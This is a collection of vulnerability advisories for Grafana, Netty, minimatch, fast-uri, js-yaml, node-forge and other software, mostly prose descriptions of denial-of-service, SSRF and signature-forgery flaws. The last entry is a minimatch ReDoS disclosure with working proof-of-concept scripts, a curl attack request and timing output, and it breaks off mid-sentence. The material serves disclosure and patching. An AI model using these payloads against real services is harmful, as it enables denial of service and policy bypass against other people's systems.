Every uncached /avatar/:hash request spawns a goroutine that refreshes the Gravatar image. If the refresh sits in the 10-slot worker queue longer than three seconds, the handler times out and stops listening for the result, so that goroutine blocks forever trying to send on an unbuffered channel. Sustained traffic with random hashes keeps tripping this timeout, so goroutine count grows linearly, eventually exhausting memory and causing Grafana to crash on some systems.
Tempo queries with large limits can cause large memory allocations which can impact the availability of the service, depending on its deployment strategy. Mitigation can be done by setting max_result_limit in the search config, e.g. to 262144 (2^18). Alternatively, automatically restart the service.
Improper handling of configuration values in ZKConfig in Apache ZooKeeper 3.8.5 and 3.9.4 on all platforms allows an attacker to expose sensitive information stored in client configuration in the client's logfile. Configuration values are exposed at INFO level logging rendering potential production systems affected by the issue. Users are recommended to upgrade to version 3.8.6 or 3.9.5 which fixes this issue.
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4, nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4 fix the issue.
A vulnerability in Grafana Tempo exposes the S3 SSE-C encryption key in plaintext through the /status/config endpoint, potentially allowing unauthorized users to obtain the key used to encrypt trace data stored in S3. Thanks to william_goodfellow for reporting this vulnerability.
SVGO, short for SVG Optimizer, is a Node.js library and command-line application for optimizing SVG files. From version 2.1.0 to before version 2.8.1, from version 3.0.0 to before version 3.3.3, and before version 4.0.1, SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with JavaScript heap out of memory. This issue has been patched in versions 2.8.1, 3.3.3, and 4.0.1.
flatted is a circular JSON parser. Prior to 3.4.0, flatted's parse() function uses a recursive revive() phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential $ indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process. This vulnerability is fixed in 3.4.0.
Several Grafana API endpoints, some of them unauthenticated, do not limit the size of the request body before processing it. An attacker can send very large payloads that force excessive memory allocation, potentially exhausting memory and causing a denial of service.
Picomatch is a glob matcher written JavaScript. Versions prior to 4.0.4, 3.0.2, and 2.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input. Applications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way. This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2. Users should upgrade to one of these versions or later, depending on their supported release line. If upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`. Possible mitigations include disabling extglob support for untrusted patterns by using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, and applying application-level request throttling and input validation for any endpoint that accepts glob patterns.
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13, a brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory. Versions 5.0.5, 3.0.2, 2.0.3, and 1.1.13 fix the issue. As a workaround, sanitize strings passed to `expand()` to ensure a step value of `0` is not used.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, a Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Version 1.4.0 patches the issue.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it. Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries. Version 1.4.0 patches the issue.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (`S >= L`). A valid signature and its `S + L` variant both verify in forge, while Node.js `crypto.verify` (OpenSSL-backed) rejects the `S + L` variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Version 1.4.0 patches the issue.
Serialize JavaScript to a superset of JSON that includes regular expressions and functions. Prior to version 7.0.5, there is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely. This issue has been patched in version 7.0.5.
Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Versions prior to 20.8.9 may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: "include" })` is used. This can leak cookies from origin A to destination B. Version 20.8.9 fixes the issue.
The public dashboard query endpoint does not limit request body size before processing, allowing unauthenticated attackers to trigger excessive memory allocation by sending arbitrarily large JSON payloads. This can lead to denial of service through memory exhaustion. No valid dashboard access token or authentication is required to exploit this vulnerability.
pgjdbc is an open source postgresql JDBC Driver. From version 42.2.0 to before version 42.7.11, pgjdbc is vulnerable to a client-side denial of service during SCRAM-SHA-256 authentication. A malicious server can instruct the driver to perform SCRAM authentication with a very large iteration count. With a large enough value, the client spends an unbounded amount of CPU time inside PBKDF2 before authentication can fail. A single attempt ties up a CPU core. Repeated or concurrent attempts exhaust client CPU and can wedge connection pools. In affected versions, loginTimeout did not fully mitigate this problem. When loginTimeout expired, the caller could stop waiting, but the worker thread performing the connection attempt could continue running and burning CPU inside the SCRAM PBKDF2 computation. This issue has been patched in version 42.7.11.
Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, SslClientHelloHandler.decode() reads the 24-bit TLS handshake length and, when the ClientHello does not fit in the first record, eagerly allocates `ctx.alloc().buffer(handshakeLength)` (line 161). The guard at line 140 is `handshakeLength > maxClientHelloLength && maxClientHelloLength != 0`, and the commonly-used SniHandler/AbstractSniHandler constructors (SniHandler(Mapping), SniHandler(AsyncMapping), AbstractSniHandler()) pass maxClientHelloLength=0 and handshakeTimeoutMillis=0, so the length guard is disabled and no timeout is scheduled. A 16 MiB request exceeds the default pooled chunk size and becomes a huge/unpooled allocation performed immediately. The buffer is retained in the handler until the channel closes. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
ws is an open source WebSocket client and server for Node.js. Prior to 8.20.1, the websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument. This vulnerability is fixed in 8.20.1.
JavaScript Cookie is a JavaScript API for handling cookies, client-side. Prior to version 3.0.7, js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys. Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down. This issue has been patched in version 3.0.7.
Impact: A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in path-to-regexp@0.1.12 only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking. Patches: Upgrade to path-to-regexp@0.1.13 Custom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group. Workarounds: All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+). If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length.
ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
Uncontrolled Resource Consumption vulnerability in the HTTP/1.1 message parser in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows an remote attacker to cause a denial of service through memory exhaustion by sending messages with excessive number of headers / excessive header length
Allocation of resources without limits or throttling in the HTTP/2 HPACK decoder in Apache HttpComponents Core (5.4.2 and earlier, 5.5-beta1 and earlier) allows an remote attacker to cause a denial of service through memory exhaustion by sending oversized compressed header blocks before the HTTP/2 SETTINGS acknowledgement causes the configured header list size limit to be applied.
Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in `DefaultSpdySettingsFrame`, allowing a remote SPDY/3.1 peer to send a syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries and amplifies network input into heap growth and ordered-map insertion work. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has exceeded `maxHeaderSize` and marked the frame truncated in `SpdyFrameCodec`, allowing a remote peer to send a small compressed `HEADERS` block that expands into much larger raw header data and causes compression-amplified CPU and allocation churn. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, a remote unauthenticated peer can leak one direct `ByteBuf` per HTTP/2 `DATA` frame in applications that enable HTTP/2 content decompression via `DelegatingDecompressorFrameListener`. When a `DATA` frame is processed for a stream whose decompressor has already been closed, `Http2Decompressor.decompress(...)` calls `decompressor.writeInbound(data.retain())` and does not release the retained buffer on the error path, eventually exhausting direct memory and crashing the JVM. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 before 3.15.0 and from 4.0.0 before 4.3.0, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly when a chain of mappings uses merge keys where each mapping merges the previous one. This issue is fixed in versions 3.15.0 and 4.3.0.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.137.Final and 4.2.17.Final, io.netty.handler.codec.http.cors.CorsHandler setVaryHeader replaces application Vary headers such as Authorization or Cookie with Origin, allowing a caching proxy or CDN to reuse authenticated responses across users and disclose sensitive information. This issue is fixed in versions 4.1.137.Final and 4.2.17.Final.
fast-uri decoded percent-encoded path separators and dot segments before applying dot-segment removal in its normalize() and equal() functions. Encoded path data was treated like real slashes and parent-directory references, so distinct URIs could collapse onto the same normalized path. Applications that normalize or compare attacker-controlled URLs to enforce path-based policy can be bypassed, with a path that appears confined under an allowed prefix normalizing to a different location. Versions <= 3.1.0 are affected. Update to 3.1.1 or later.
fast-uri normalize() decoded percent-encoded authority delimiters inside the host component and then re-emitted them as raw delimiters during serialization. A host that combined an allowed domain, an encoded at-sign, and a different domain was re-emitted with the at-sign as a raw userinfo separator, changing the URI's authority to the second domain. Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the input appeared to specify. Versions <= 3.1.1 are affected. Update to 3.1.2 or later.
jackson-databind binds a JSON string to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) in CoreXMLDeserializers.Std._deserialize. These deserializers are registered by default with no opt-in, so a plain ObjectMapper or JsonMapper with no polymorphic typing and no special configuration reaches this path. The XML Schema lexical grammar permits numeric components of arbitrary length, which the JDK materializes through the native BigInteger(String) and BigDecimal(String) constructors, both quadratic in digit count. Because the digits sit inside a JSON string token rather than a JSON number token, jackson-core's StreamReadConstraints.maxNumberLength guard never applies; jackson's own NumberDeserializers call validateIntegerLength or validateFPLength before parsing a stringified number, but the XML datatype deserializer omits that pre-check. An unauthenticated attacker can therefore submit a single request of a few megabytes, such as a Duration value consisting of the letter P followed by several million digits and the letter Y, and force tens of seconds to several minutes of single-threaded CPU work; a handful of concurrent requests can saturate a server's worker threads. This affects com.fasterxml.jackson.core:jackson-databind from 2.0.0 before 2.18.10, from 2.19.0 before 2.21.6, and from 2.22.0 before 2.22.2, and tools.jackson.core:jackson-databind from 3.0.0 before 3.1.6 and from 3.2.0 before 3.2.2. Users should upgrade to 2.18.10, 2.21.6, 2.22.2, 3.1.6, or 3.2.2.
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to 1.1.18, 2.1.4, 3.0.6, and 5.0.9, expand() does not apply maxLength while constructing comma-alternative intermediate arrays or padded sequences, allowing attacker-controlled input to exhaust memory or block the event loop. The fix for CVE-2026-14257 is bypassed by the vulnerability. This issue is fixed in versions 1.1.18, 2.1.4, 3.0.6, and 5.0.9.
Browserslist is a configuration tool for sharing target browsers and Node.js versions between front-end tools. Prior to 4.28.7, normalizeStats() in node.js, reached unconditionally through getStat() and loadStat() on every browserslist() call, processes untrusted browserslist-stats.json, opts.stats, and CLI --stats data with an unguarded for...in loop and plain-object bracket access and assignment, allowing inherited Object.prototype keys including __proto__, toString, valueOf, constructor, hasOwnProperty, and isPrototypeOf to cause an uncaught TypeError or modify the prototype of the returned normalized object. This issue is fixed in version 4.28.7.
Browserslist is a configuration tool for sharing target browsers and Node.js versions between front-end tools. Prior to 4.28.7, index.js retains every distinct `(queries, context)` result in cache and every parseQueries() AST in parseCache without a size cap, TTL, or eviction, allowing an attacker who can influence repeated browserslist() query values, including valid since `<year>-<month>-<day>` queries, to bypass the caller-controlled BROWSERSLIST_DISABLE_CACHE mitigation and cause linear memory growth followed by an out-of-memory process crash. This issue is fixed in version 4.28.7.
Netty is an asynchronous, event-driven network application framework. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.dns.AbstractDnsRecord, io.netty.handler.codec.dns.DefaultDnsRecordDecoder.decodeRecord(), and io.netty.handler.codec.dns.DnsCodecUtil.decompressDomainName() failed to release retained or newly allocated ByteBuf objects when IDN.toASCII() or encodeDomainName() rejected a malformed domain name, allowing unauthenticated remote DNS packets to leak direct memory incrementally until denial of service. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.18, lib/previous-map.js loadMap() passes attacker-controlled sourceMappingURL values to join(dirname(opts.from), annotation), and loadFile() permits traversed or absolute .map paths, allowing untrusted CSS processed without map: false to disclose sourcesContent from arbitrary reachable .map files through result.map. This issue is fixed in version 8.5.18.
fast-uri is a URI parser for Node.js. Its custom parser for bracketed IPv6 literals does not validate the complete IPv6 grammar, so invalid trailing text in an authority can be silently discarded and a malformed attacker-controlled host is turned into a different valid IPv6 destination. For example, a bracketed literal with invalid trailing characters is normalized to the unspecified address, which a Node HTTP client then connects to a local service over loopback, and other malformed literals collapse to private-range addresses. No error is set on the parsed result, so an application checking the error field cannot detect the rewrite. An application that normalizes untrusted URLs before outbound requests, redirects, proxy routing, or address-policy enforcement can be redirected to a local or private IPv6 target, giving a server-side request forgery and address-policy bypass primitive. The affected versions are 2.3.1 up to but not including 2.4.5, 3.0.0 up to but not including 3.1.6, and 4.0.0 up to but not including 4.1.3. The issue is fixed in 2.4.5, 3.1.6, and 4.1.3, which validate bracketed IP literals against the full grammar and mark malformed literals as authority errors. Users should upgrade to a patched version.
fast-uri is a URI parser for Node.js. During parsing it runs a legacy decoding pass over the scheme component and never re-escapes the result, and serialization writes the scheme back out verbatim, unlike the host component which is re-escaped. As a result an input whose scheme carries percent-encoded slashes parses as a scheme with no authority, so the parsed host and error are both undefined, yet resolving or normalizing that same input emits a network-path reference whose authority is attacker-chosen and re-parses to that host. An application that allowlists on the parsed host, or treats a reference with no authority as safe to resolve against its base, gets the opposite of what it checked, giving an off-site redirect, server-side request forgery, or address-policy bypass. The legacy decoder also expands non-standard escape forms, widening the issue past upstream filters, and control characters in the scheme can reach the output as raw carriage return and line feed. The affected versions are 2.3.1 up to but not including 2.4.5, 3.0.0 up to but not including 3.1.6, and 4.0.0 up to but not including 4.1.3. The issue is fixed in 2.4.5, 3.1.6, and 4.1.3, which reject a scheme that is not valid after decoding. Users should upgrade to a patched version.
fast-uri serializes the port component of a URI without validating it. When recomposing the authority, the userinfo and host components are escaped but the port is concatenated verbatim, so a port value that is not a sequence of digits can inject authority delimiters, demoting the intended host to userinfo and pointing the authority at an attacker-controlled host. Both fast-uri and Node's URL read the result back as the attacker's host with no error, so re-validating the built URI does not catch it. This affects applications that build URIs from parts and assign untrusted data to the port component through the serialize, normalize, or equal functions in their object forms. The issue affects fast-uri versions before 2.4.6, from 3.0.0 before 3.1.7, and from 4.0.0 before 4.1.4. It is fixed in 2.4.6, 3.1.7, and 4.1.4, where recomposeAuthority rejects any port that is not a digit sequence per RFC 3986.
js-yaml is a JavaScript YAML parser and dumper. From 3.0.0 until 3.15.2, 4.3.2, and 5.4.1, maxTotalMergeKeys in lib/js-yaml/loader.js and lib/loader.js does not count empty mapping sources while processing the merge key <<. An attacker can alias a large sequence of empty mappings into many merge targets, causing O(N * K) processing while totalMergeKeys remains unchanged and the configured resource limit is never reached. A relatively small YAML document can therefore cause prolonged CPU consumption in applications that parse untrusted YAML, and merge processing is enabled by default on these release lines. In v3 & v4, merge is enabled by default so the severity score is higher. This issue is fixed in versions 3.15.2, 4.3.2, and 5.4.1.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. From 2.0.0 until 2.16.1 and 3.0.12, automatic response decompression on the HTTP/1.1 path uses ChannelManager.newHttpContentDecompressor() to install Http1ContentDecompressor without a cumulative output-size limit. A hostile or compromised server, or an attacker who can alter a response in transit, can send a small gzip, deflate, or snappy response that expands across chunks until the client exhausts its heap and raises OutOfMemoryError; brotli and zstd are also affected when their optional codecs are present. In versions 3.0.8 through 3.0.10, the HTTP/2 decompressor is also unbounded, so switching protocols does not mitigate the issue on those releases. A limit applied to each decode call is insufficient because the response can be delivered as many small chunks, so the fixed implementation tracks total decompressed bytes for the whole response. This issue is fixed in versions 2.16.1 and 3.0.12.
An unauthenticated attacker can repeatedly call Grafana's OAuth login route with unique values, causing unbounded memory growth that can eventually exhaust memory and crash the Grafana instance (denial of service).
compression is a Node.js and Express compression middleware. In versions before 1.8.2, when a client aborts the connection while a compressed response is still being sent, the zlib stream created to compress that response is never destroyed, so each aborted compressed response leaks its native zlib memory. A remote unauthenticated attacker can repeatedly open requests and disconnect early, exhausting the available memory and crashing the server. All applications using compression are affected. The issue is fixed in compression 1.8.2, and users should upgrade to 1.8.2 or later.
Junrar is an open source Java RAR archive library. Prior to 7.6.1, RarVM.ExecuteCode in src/main/java/com/github/junrar/unpack/vm/RarVM.java can repeatedly execute a VM_JMP instruction whose target is greater than or equal to the prepared program's codeSize. The setIP() function returns success without changing the instruction pointer or decrementing maxOpCount, and the jump handler continues before loop-end accounting, leaving both values unchanged. A crafted RAR4 archive can therefore keep an extraction thread in an infinite CPU loop and exhaust archive-processing worker capacity. The RAR virtual machine does not expose native process execution, so the supported impact is availability loss rather than code execution. This issue is fixed in version 7.6.1.
### Summary Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. --- ### Details The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group: ```typescript : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` ``` This produces the following regexps: | Pattern | Generated regex | |----------------------|------------------------------------------| | `*(a\|b)` | `/^(?:a\|b)*$/` | | `*(*(a\|b))` | `/^(?:(?:a\|b)*)*$/` | | `*(*(*(a\|b)))` | `/^(?:(?:(?:a\|b)*)*)*$/` | | `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/` | These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`. The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration. Measured times via `minimatch()`: | Pattern | Input | Time | |----------------------|--------------------|------------| | `*(*(a\|b))` | `a` x30 + `z` | ~68,000ms | | `*(*(*(a\|b)))` | `a` x20 + `z` | ~124,000ms | | `*(*(*(*(a\|b))))` | `a` x25 + `z` | ~116,000ms | | `*(a\|a)` | `a` x25 + `z` | ~2,000ms | Depth inflection at fixed input `a` x16 + `z`: | Depth | Pattern | Time | |-------|----------------------|--------------| | 1 | `*(a\|b)` | 0ms | | 2 | `*(*(a\|b))` | 4ms | | 3 | `*(*(*(a\|b)))` | 270ms | | 4 | `*(*(*(*(a\|b))))` | 115,000ms | Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. --- ### PoC Tested on minimatch@10.2.2, Node.js 20. **Step 1 -- verify the generated regexps and timing (standalone script)** Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`: ```javascript import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) ``` Observed output: ``` depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false ``` **Step 2 -- HTTP server (event loop starvation proof)** Save as `poc4-server.mjs`: ```javascript import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) ``` Terminal 1 -- start the server: ``` node poc4-server.mjs ``` Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: ``` curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & ``` Terminal 3 -- send a benign request while the attack is in-flight: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" ``` **Observed output -- Terminal 2 (attack):** ``` {"result":false,"ms":"64149"} ``` **Observed output -- Terminal 3 (benign, concurrent):** ``` {"result":false,"ms":"0"} time_total: 63.022047s ``` **Terminal 1 (server log):** ``` [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false ``` The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log 